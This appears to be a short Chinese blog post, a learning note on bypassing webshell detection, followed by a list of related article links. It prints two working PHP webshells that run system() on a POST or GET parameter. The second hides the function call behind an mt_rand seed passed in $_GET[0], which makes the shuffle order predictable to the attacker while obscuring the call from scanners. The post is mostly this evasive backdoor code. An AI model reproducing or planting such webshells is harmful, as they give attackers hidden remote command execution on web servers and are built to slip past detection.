记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
The_cute_cat40 分钟前
Ajax和Axios的初步学习
前端·学习·ajax
amazinging1 小时前
北京-4年功能测试2年空窗-报培训班学测开-第四十三天
python·学习
祁思妙想2 小时前
八股学习(五)---MySQL
学习
薄荷椰果抹茶2 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
虾球xz2 小时前
CppCon 2018 学习:THE MOST VALUABLE VALUES
开发语言·c++·学习
丰锋ff3 小时前
计网学习笔记第2章 物理层(灰灰题库)
笔记·学习
Chef_Chen4 小时前
从0开始学习R语言--Day39--Spearman 秩相关
开发语言·学习·r语言
运维开发王义杰10 小时前
金融安全生命线:用AWS EventBridge和CloudTrail构建主动式入侵检测系统
安全·金融·aws
天水幼麟10 小时前
动手学深度学习-学习笔记(总)
笔记·深度学习·学习
安全系统学习12 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss